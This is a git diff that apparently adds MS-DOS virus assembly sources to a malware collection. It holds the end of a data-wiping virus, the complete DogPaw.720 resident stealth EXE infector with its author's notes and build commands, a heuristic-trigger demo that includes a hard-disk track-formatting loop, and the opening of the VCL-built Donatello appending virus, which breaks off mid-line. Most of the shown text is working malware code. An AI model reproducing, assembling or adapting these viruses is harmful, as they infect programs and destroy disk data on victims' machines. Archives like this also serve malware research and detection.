timer (INT 08H) + ; disabling (handler) routine for INT 08H +notyet: + pop ds + pop es + popa + popf +peste equ this word + db 0eah +int08ofs dw 0 +int08seg dw 0 + + +floppydriver db 'system\iosubsys\hsflop.pdr',0 + +testziuaz: + mov ah,04 + int 1ah + cmp dl,28h + jbe nochange + mov dl,28h +nochange: + ret + + + +callint13: + pushf + call cs:dword ptr[int13ofs] + ret + +resetcmosflag: + mov al,01 + out 70h,al + mov al,100 ;set counter in CMOS for RAV + out 71h,al ; RAV stands for Romanian AntiVirus + ret ;an AV prog from ROMANIA + + +compute: + mov cl,14 + cmp dl,80h + jae back + mov dh,1 + mov al,es:byte ptr[bx+15h] + cmp al,240; f0h 1.44 disk + je back + mov cl,3 +back: + ret +resetkeyboard: + cmp dl,80h + jb nu + xor bx,bx + mov ds,bx + mov bl,1eh + mov ds:[041ah],bx + mov ds:[041ch],bx +nu: + ret +; '$RAVage is wiping data! RP&muRPhy ' +text db '$yhPRum&PR !atad gnipiw si egaVAR' +txt equ this word +code ends +end start + muRPhy (c)96 diff --git a/MSDOS/Virus.MSDOS.Unknown.dogpaw.asm b/MSDOS/Virus.MSDOS.Unknown.dogpaw.asm new file mode 100644 index 00000000..026d59d2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dogpaw.asm @@ -0,0 +1,607 @@ +; +; ÜŪŪŪŪŪÜ ÜŪŪŪŪŪÜ ÜŪŪŪŪŪÜ +; DogPaw.720 ŪŪŪ ŪŪŪ ŪŪŪ ŪŪŪ ŪŪŪ ŪŪŪ +; by Jacky Qwerty/29A ÜÜÜŪŪß ßŪŪŪŪŪŪ ŪŪŪŪŪŪŪ +; ŪŪŪÜÜÜÜ ÜÜÜÜŪŪŪ ŪŪŪ ŪŪŪ +; ŪŪŪŪŪŪŪ ŪŪŪŪŪŪß ŪŪŪ ŪŪŪ +; +; This simple DOS virus exploits a certain feature graciosly implemented for +; us by Microsoft and which is present in Win95, WinNT and probably OS/2. It +; has to do with non-DOS aplicationz run from DOS boxez opened under these +; 32-bit systemz. It doesnt aply to Win3.1, tho. +; +; In Win3.1, whenever u try to execute a Win3.1 aplication from a DOS box, +; the comon frustratin mesage "This program cannot be run in DOS mode" or +; "This program requires Microsoft Windows" apeared. The guyz at Microsoft +; always lookin for enhancementz finaly made it right with NT and Win95 and +; wisely put an end to this nuisance. Under these 32-bit systemz, whenever u +; execute a non-DOS aplication from a DOS box, the system loader no longer +; executes the DOS stub program which displays such mesage, it actually ends +; up executin the real Win3.1 or Win32 aplication just as if u had double- +; clicked the program on yer desktop to execute it. But what has this thing +; got to do with us? Can this feature be used in a virus? the answer is yes. +; +; I wrote this virus just to ilustrate how the above feature can be cleverly +; used in a virus. For this reason, DogPaw lacks all kindz of poly, retro, +; antidebug, etc. but it implements full stealth tho, and encrypts data of +; the original host, just to anoy AVerz a bit #8P. I'd like to thank "Casio" +; from undernet #virus as he seems to be the first one havin exploited this. +; +; +; Technical description +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; DogPaw is a resident full stealth EXE infector of DOS, Win3.1, Win95, Win- +: NT and OS/2 programz. It infects filez on close and execute and disinfects +; them on open. I dont like this kind of stealth at all but it was more than +; necesary in order to exploit the forementioned feature. +; +; When DogPaw infects a file, it encrypts the first 720 bytez of the host, +; includin its MZ header and stores it at the end of the file, then it over- +; writes the first 720 bytez of the host with the virus code itself, which +; is really DOS program code. This way what the virus really does is conver- +; tin Win3.1, Win95, WinNT and OS/2 programz into simple DOS programz con- +; tainin virus code. This doesnt mean that such filez are trojanized or da- +; maged, they are fully functional after infection, read on. +; +; When a DogPaw-infected file is executed, the system treats it as a genuine +; DOS aplication. This is becoz the virus overwrites the pointer at 3Ch in +; the MZ header which pointed to the real NewEXE header (NE, PE, LX, etc). +; This way the virus executes as a DOS 16-bit program and plants a resident +; copy in DOS memory. After this the virus has to execute the original apli- +; cation, be it a Win3.1, Win32 or an OS/2 program. For this purpose, it di- +; sinfects the host by decryptin the original data at the end of file and +; writes it back to the begin of file previosly overwriten with virus code. +; Next the virus executes the original host and, becoz of the above feature, +; the system finally executes the original Win3.1, Win32 or OS/2 aplication +; just as if it had been executed from outside a DOS box. +; +; The disadvantagez of this method are plain to see. Microsoft obviosly dont +; want people to write clumsy DOS programz, tho it is still suportin old DOS +; aplicationz from inside its 32-bit systemz. This, acordin to Microsoft, is +; needed in order to make the migration from DOS to Win32 less painfully and +; troublesome. But once this DOS compatibility disapears from these systemz, +; those nonDOS programz infected by this virus wont be able to run or spread +; further from inside these 32-bit OS's. As u can see its not wise at all to +; still depend on obsolete goofie DOS in order to infect 32-bit aplicationz. +; For this purpose we must interact directly with the 32-bit file format, ie +; the PE format itself. There is no way to circumvent this in the future ;) +; +; +; A dog paw tale +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Some weekz ago i stole my dady's car to take a short ride around the block +; and i was so nervous that i almost crashed twice: the first time with a +; huge big garbage truck (yea even tho i wear glasez) and the second time +; with a little grandma crossin down the street. Shit.. that was enough for +; the day, i didnt want to kill anybody nor get killed at worst, so i deci- +; ded to go back home. I turned on the radio and started to sing "the side- +; winder sleeps tonight" by R.E.M. Yea i was havin a great time even tho i +; had been about to crash twice. Why did i have to open my mouth! Just when +; i was about to turn right at the next block i heard a suden "crash" follo- +; wed by two "squeeze.." "squeeze.." feelin two "up-and-down's" on the right +; tirez. Shit what da hell was that..? i looked back thru the front mirror +; just to know the answer. On the road i had left behind, there lied a poor +; crushed dog. Ohh shit i crushed a dog! Now from time to time when that +; scene comes to my mind, all i see is that unfortunate squeezed dog wavin +; goodbye with his paw.. the poor dog paw. #8I +; +; +; Greetingz +; ÄÄÄÄÄÄÄÄÄ +; And finaly the greetingz go to: +; +; Casio ......... Yer Rusty was kewl.. but throw 'way that ASIC dude! +; Tcp/29A ....... Wooow! yer disasembliez rock man.. really rock! +; Spanska ....... Dont get drunk too often ;) greetingz to Elvira.. +; Reptile/29A ... Not even a garden full of ganja can stop ya heh #8S +; Rilo .......... Confess budie: Rilo Drunkie + Belch = Car crash ;) +; Liquiz ........ Still watin to see that poly of yourz.. #8) +; +; +; Disclaimer +; ÄÄÄÄÄÄÄÄÄÄ +; This source code is for educational purposez only. The author is not res- +; ponsible for any problemz caused due to the assembly of this file. +; +; +; Compiling it +; ÄÄÄÄÄÄÄÄÄÄÄÄ +; tasm -ml -m5 -q -zn dogpaw.asm +; tlink -t -x dogpaw, dogpaw.exe +; +; +; (c) 1997 Jacky Qwerty/29A. + + +.model tiny +.286 + +include useful.inc +include MZ.inc + +v_mark equ 'GD' ;virus mark +v_size_bytes equ v_end - v_start ;virus size in bytez +b_size_bytes equ v_size_bytes ;bufer size in bytez +s_size_bytes equ 100h ;stack size in bytez +v_size_words equ (v_size_bytes + 1) / 2 ;virus size in wordz +v_size_paras equ (v_size_bytes + 15) / 16 ;virus size in paragraphz +v_size_sects equ (v_size_bytes + 511) / 512 ;virus size in sectorz +v_size_kilos equ (v_size_bytes + 1023) / 1024 ;virus size in kilobytez +v_size_div_512 equ v_size_bytes / 512 ;virus size div 512 +v_size_mod_512 equ v_size_bytes \ ;virus size mod 512 + - (512 * v_size_div_512) ; +m_size_bytes equ v_size_bytes + (b_start \ ;memory size in bytez + - v_end) + b_size_bytes \ ; + + s_size_bytes ; +m_size_words equ (m_size_bytes + 1) / 2 ;memory size in wordz +m_size_paras equ (m_size_bytes + 15) / 16 ;memory size in paragraphz + +.code + org 100h +v_start: + +MZ_Header IMAGE_DOS_HEADER < \ ;MZ header start + IMAGE_DOS_SIGNATURE, \ ;MZ_magic + v_size_mod_512, \ ;MZ_cblp + v_size_sects, \ ;MZ_cp + 0, \ ;MZ_crlc + 0, \ ;NZ_cparhdr + m_size_paras, \ ;MZ_minalloc + m_size_paras, \ ;MZ_maxalloc + -11h, \ ;MZ_ss + (m_size_bytes + 111h) and -2 \ ;MZ_sp + v_mark, \ ;MZ_csum + entry_point, \ ;MZ_ip + -10h \ ;MZ_cs + > + + org (v_start + MZ_lfarlc) + +old_MZ_low_ptr dw 0 +old_MZ_high_ptr dw 0 + +c_start: + +Copyright db 'D' xor 66h + db 'o' xor 66h + db 'g' xor 66h + db 'P' xor 66h + db 'a' xor 66h + db 'w' xor 66h + db ' ' xor 66h + db 'J' xor 66h + db 'x' xor 66h + db 'Q' xor 66h + db '/' xor 66h + db '2' xor 66h + db '9' xor 66h + db 'A' xor 66h + db 0 xor 66h + +common_clean_ds: + + push cs + pop ds + mov ds:[flag],al + +common_clean: test al,? ;clear carry (clean file) + org $ - 1 + +common_infect: stc ;set carry (infect file) + + pusha + mov bp,offset clean + 1 + jnc common + mov si,dx + mov bp,offset infect + 1 + cld + @endsz + std + lodsw + lodsw + cld + and al,not 20h + add al,-'E' ;check for EXE extension + jnz to_popa_ret + lodsw + and ax,not 2020h + add ax,-'XE' + jnz to_popa_ret + +common: ;this function cleans or infects a file + ;on exit: + ; flag = 0, if error + + mov ax,3D00h + call call_int_21 ;open file in read/only mode + jc to_popa_ret + xchg bx,ax + push ds dx + call ptr2begin ;move file pointer to begin of file + jc end_close + push cs + pop ds + call read ;read first 720 bytez + jc end_close + cmp word ptr [si.MZ_csum],v_mark ;check infection + jnz end_close_clc + mov ax,[si.MZ_magic] + cmp word ptr [si.MZ_maxalloc],m_size_paras + jnz end_close_clc + add ax,-IMAGE_DOS_SIGNATURE ;check MZ signature + end_close_clc: clc + end_close: pushf + mov ah,3Eh + call call_int_21 ;close file + pop ax + dec bp + lahf + pop dx + or al,ah + shl ah,4 + pop ds + xor ah,al + sahf + jbe end_popa_ret ;if (carry or zero) + + mov ax,4300h ;save old file atributes + call call_int_21 + to_popa_ret: jc end_popa_ret + + push ds + mov si,4*24h-80h + call get_int + pop ds + pusha ;ax, bx, si + mov bx,cs + mov ax,offset new_24 + call set_int + + push cx + mov cl,20h ;set read/write file atributes + mov ax,4301h + call call_int_21 + pop cx + jc end_2popa_ret + + mov ax,3D02h ;open file in read/write mode + call call_int_21 + jc restore_atrib + + pusha ;cx, dx + xchg bx,ax + mov ax,5700h ;get data & time + call call_int_21 + jc close_file + + push ds es + pusha + + push cs cs + pop ds es + mov si,offset b_start + lea di,[si + old_MZ_low_ptr - v_start] + call bp ;clean or infect + jc err_file + mov ds:[flag],al ;al!=0 (check this while debugin) + + err_file: popa + pop es ds + + mov ax,5701h ;set data & time + call call_int_21 + + close_file: mov ah,3Eh ;close file + call call_int_21 + popa + + restore_atrib: mov ax,4301h ;restore old atributes + call call_int_21 + + end_2popa_ret: popa + call set_int + + end_popa_ret: popa + end_ret: ret + +infect proc ;infects a file + + mov cx,b_size_bytes + + cld ;encrypt old MZ header + encrypt: lodsb + ror al,cl + xor al,0C5h + mov [si-1],al + loop encrypt + + mov ax,4202h ;move file pointer to end of file + cwd + call call_int_21 + jc end_ret + + pusha + call write ;write old MZ header to end of file + jc end_popa_ret + + lodsw ;move virus code to buffer area + xchg dx,di + mov si,offset v_start + mov ds:[old_MZ_Magic],ax + cld + move_virus: lodsb + stosb + loop move_virus + popa + + stosw ;hardcode file location in virus code + xchg ax,dx ; + stosw ; + + jmp ptr2new ;move file pointer to actual MZ header + +infect endp + +get_int: ;gets an interrupt vector + ;on entry: + ; SI = int number * 4 + ; DS = 0 + ;on exit: + ; DX:AX = int vector adress retrieved + + push 8 + pop ds + mov bx,[si+2] + mov ax,[si] + ret + +clean proc ;cleans an infected file + + mov cx,[di + 2] ;old_MZ_high_ptr + mov dx,[di] ;old_MZ_low_ptr + pusha + call ptr2old ;move file pointer to old MZ header + jc end_popa_ret + + call read ;read old MZ header + jc end_popa_ret + + cmp word ptr [si.MZ_magic],1234h ;check old MZ header + old_MZ_Magic = word ptr $-2 + stc + jnz end_popa_ret + + cld ;decrypt old MZ header + decrypt: lodsb + xor al,0C5h + rol al,cl + mov [si-1],al + loop decrypt + + popa + call ptr2old ;move file pointer to old MZ header + jc ptr2new + + sub cx,cx + mov ah,40h ;remove old MZ header from end of file + call call_int_21 + + ptr2new: call ptr2begin ;move file pointer to actual MZ header + jc end_clean + +write: mov ah,40h ;write MZ header + cmp ax,? + org $-2 + +read: mov ah,3Fh ;read MZ header + mov dx,offset b_start + mov cx,b_size_bytes + call call_int_21 + jc end_rd_wr + cmp ax,cx + mov si,dx + end_rd_wr: + + end_clean: ret + +clean endp + +entry_point: mov ax,30AFh + x = 4*21h-80h + push x + mov di,offset old_int_21 ;check if already installed + int 21h + cld + pop si + add al,-0AFh + mov bp,si + jz already ;yea we're instaled, jump + + push ds ;hook int 21h & stay resident + call get_int + mov [1+bp-x+si-x],ds + stosw + pop ax + xchg ax,bx + stosw + mov ax,offset new_int_21 + call set_int + + already: push di + mov ds,[2Ch+10h+bp-x] ;get program filename + get_prog: inc si + cmp [si],bp + jnc get_prog + lea si,[si+4+bp-x] + pop dx + @copysz + + call common_clean_ds ;clean infected program + +exec: cmp al,ds:[flag] ;prevent circular execution + jz exit + push ds + mov bx,offset p_block ;execute program + mov ah,0Dh + call call_int_21 + mov [bx+4],ds + mov [bx+8],cs + pusha + mov [bx+0Ch],es + mov ax,4B00h + call call_int_21 + popa + mov ah,4Dh + call call_int_21 + pop ds + + call common_infect + +exit: mov ah,4Ch ;exit to DOS + jmp call_int_21 + +p_block dw 0 ;parameter block to be used by 4B00h + dw 80h + dw ? + dw 5Ch + dw ? + dw 6Ch + dw ? + +new_24: mov al,3 + iret + +ptr2begin: xor dx,dx ;move file pointer to actual MZ header + mov cx,dx +ptr2old: mov ax,4200h +call_int_21: pushf ;call old INT 21h + push cs + call jmp_int_21 + ret + +set_int: ;sets an interrupt vector + ;on entry: + ; SI = int number * 4 + ; DS = 0 + ; DX:AX = int vector adress to store + + push ds + push 8 + pop ds + mov [si+2],bx + mov [si],ax + pop ds + ret + +infect_on_close: ;infect on file close + push ds es + pusha + mov bp,sp + push cs bx + mov ax,1220h + int 2Fh ;use file system tablez + jc fail_dcb + mov bl,es:[di] + cmp bl,-1 + cmc + jc fail_dcb + mov ax,1216h + int 2Fh + fail_dcb: pop bx ds + pushf + mov ah,3Eh + call call_int_21 ;close file + mov [bp.Pusha_ax],ax + pop ax + jc fail_close + shr al,1 + jc fail_close_clc + mov ax,':'*100h + mask BDA_DriveNumber + and al,byte ptr es:[di.DCB_DeviceAtribs] + mov dl,al + sub al,-'A' + mov si,offset program_name + 3 + mov [si-3],ax + inc dx + mov ah,47h + call call_int_21 ;get current directory + jc fail_close_clc + cld + dec si + push es si ds + lea si,[di.DCB_FileName] + mov al,'\' + pop es di + stosb + add al,-'\' ; al=0 + scasb + jnz $ - 1 + sub al,-'\' ; al='\' + dec di + mov cx,size DCB_FileName + 1 + cmp al,[di-1] + pop ds + push si + jz $+3 + copy_name: stosb ;atach file name to path + lodsb + cmp al,20h + loopnz copy_name + pop si + mov al,'.' + mov cl,size DCB_FileExt + 1 + sub si,- size DCB_FileName + copy_ext: stosb ;atach file extension to file name + lodsb + cmp al,20h + loopnz copy_ext + xor al,al + stosb + push cs + pop ds + mov dx,offset program_name + call common_infect ;infect the file +fail_close_clc: clc + fail_close: popa + pop es ds + retf 2 + + on_close: jmp infect_on_close + +self_check: cmp di,offset old_int_21 + jnz jmp_int_21 + mov si,di + cld + movs word ptr es:[di],cs:[si] ;copy old int 21h + movs word ptr es:[di],cs:[si] ; +go_iret: iret + +new_int_21: cli ;new INT 21h service routine + push ax ;antitrace.. dont fuck with me + push -1 + inc sp + dec sp + pop ax + inc ax + pop ax + sti + jnz go_iret + chk_3E: cmp ah,3Eh ;close? + jz on_close + chk_30: cmp ax,30AFh ;are we already installed? + jz self_check + chk_4B: cmp ah,4Bh ;execute? + jnz chk_3D + call common_infect + chk_3D: cmp ah,3Dh ;open? + jnz jmp_int_21 + call common_clean + +jmp_int_21: db 0EAh ;JMP SEG:OFF opcode +v_end: ;virus end on filez +old_int_21 dd ? ;old INT 21h vector + +program_name db 80h dup (?) ;buffer to hold program namez +flag db ? ;used to prevent circular execution +b_start: ;start of internal buffer + end v_start diff --git a/MSDOS/Virus.MSDOS.Unknown.donothin.asm b/MSDOS/Virus.MSDOS.Unknown.donothin.asm new file mode 100644 index 00000000..7cd21046 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.donothin.asm @@ -0,0 +1,207 @@ +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; +; Donothing.asm +; By K”hntark +; DATE: NOV 93 +; +; Assemble with TASM 2.X +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + +MAIN SEGMENT BYTE + ASSUME cs:main,ds:main,ss:nothing + org 100h + +DONUTHIN: +VIRUS: + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; J-Flag - Suspicious Jump construct +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + jmp THERE +THERE: jmp HERE +HERE: + + mov dx,Offset MSG + mov ah,09 + int 21h ;display message + + int 20h ;PROGRAM NEVER GETS EXECUTED BEYOND THIS POINT!! + ;This is SHMISTICS! + +MSG db 'Please scan this file with TBSCAN!$' + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; E-Flag - Flexible Entry Point +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + call HAHA +HAHA: pop si + sub si,3 + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; O-Flag - Code Overwrite +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + ;Restore COM host + mov di,0100h + push di + movsw + movsw ;from ds:si to es:di + ;------- O flag ------- +; ret ;return to host + ;------- R flag -------(see below) + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; R-Flag - Suspicious Relocator +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + push di ;save return address + movsw ;restore host + movsw ;from ds:si to es:di + ret ;return to host + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; A-Flag - Suspicious Memory Allocation +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + mov BYTE PTR ds:0000,'M' + mov cx,23h ;23h * 16 = 560 + sub ds:0012h,cx + sub ds:0003,cx + mov ax,ds:0003 ; + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; F-Flag - Suspicious file access +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + ;Restore date and time of file to be infected + + mov ax,5701h + mov dx,WORD PTR [si + F_DATE - VIRUS] + mov cx,WORD PTR [si + F_TIME - VIRUS] + int 21h + + ;Restore file's attributes + + lea dx,[si + FNAME - VIRUS] ;get filename + mov cx,[si + ATTR - VIRUS] ;get old attributes + mov ax,4301h ;set file attributes to cx + int 21h + + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; S-flag - Search for COM and EXE +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + db '*.COM',0 + db '*.EXE',0 + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; L-flag - Trap Software's loading +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + ;simulated resident int21h trap: + + pushf ;save flags + push cs + pop es ;ES=CS + cmp ah,4Bh ;load and execute program + je KILL + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; D-flag - Disk Write Access +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + mov ch,0 ;ch=track or cylinder = cx +KILL: + mov ah,5 ;ah=function, al = interleave + mov dh,0 ;dh=head + mov dl,80h ;dl=drive 0 + int 13h ;format track + + inc ch ;increase track + cmp ch,20h ;track 20h? + loopnz KILL ;no? keep on formating + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; M-flag - Memory Resident Code +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + mov ax,2521h ;DOS Services ah=function 25h + mov dx,offset kill + int 21h ;set intrpt vector al to ds:dx + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; U-Flag - Undocumented DOS call +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + mov dx,5945h + mov ax,0FA01h + int 21h + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; G-Flag - Garbage Instructions +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + add ax,34 + add bx,34 + int 65h + add cx,35 + add dx,45 + add si,23 + add di,34 + nop + nop + nop + nop + nop + add ax,34 + add bx,34 + add cx,35 + add dx,45 + add si,23 + add di,34 + nop + nop + nop + nop + nop + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; Z-Flag - EXE / COM determination +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + cmp WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file? + je CONT2 ;no? check com + + cmp WORD PTR [si + START_CODE - VIRUS],'MZ' ;EXE file? + jne CHECK_COM ;no? check com + +CONT2: +CHECK_COM: + +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +; B-Flag - Back to Entry Point +;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + mov si,0100h + push si + ret + +ENDVIRUS equ $ + +;ĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶ + +START_CODE db 5 dup (?) +HOST_STUB db 00 +ATTR dw 0 +F_DATE dw 0 +F_TIME dw 0 +FNAME db 13 dup (?) + +ZIZE equ OFFSET ENDVIRUS - OFFSET VIRUS + + +MAIN ENDS + END DONUTHIN diff --git a/MSDOS/Virus.MSDOS.Unknown.dontello.asm b/MSDOS/Virus.MSDOS.Unknown.dontello.asm new file mode 100644 index 00000000..a9fc70f7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dontello.asm @@ -0,0 +1,417 @@ +; DONTELLO.ASM -- Donatello Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + lea bx,[di + null_vector] ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + call get_random + mov cx,0014h ; CX holds the divisor + cwd ; Sign-extend AX into DX:AX + div cx ; Divide AX by CX + or dx,dx ; Is the remaindier zero? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea si,[di + data00] ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end00: call get_random + mov cx,0064h ; CX holds the divisor + cwd ; Sign-extend AX into DX:AX + div cx ; Divide AX by CX + or dx,dx ; Is the remaindier zero? + jne skip01 ; If not equal, skip effect + jmp short strt01 ; Success -- skip jump +skip01: jmp end01 ; Skip the routine +strt01: xor ah,ah ; BIOS get time function + int 1Ah + xchg dx,ax ; AX holds low word of timer + mov dx,0FFh ; Start with port 255 +out_loop: out dx,al ; OUT a value to the port + dec dx ; Do the next port + jne out_loop ; Repeat until DX = 0 + +end01: mov cx,0003h ; Do 3 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + jmp short strt02 ; Success -- skip jump +skip02: jmp end02 ; Skip the routine +strt02: push es ; Save ES + mov ax,050h ; Set the extra segement to + mov es,ax ; the BIOS area + mov byte ptr es:[0000h],1 ; Set print screen flag to + pop es ; "printing," restore ES + +end02: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + + + db 0E2h,065h,076h,0A4h,0A6h + +search_files proc near + mov bx,di ; BX points to the virus + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + lea dx,[bx + com_mask] ; DX points to "*.COM" + push di + mov di,bx + call find_files ; Try to infect a .COM file + mov bx,di + pop di + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [bx + path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: lea si,[bx + path_string] ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov 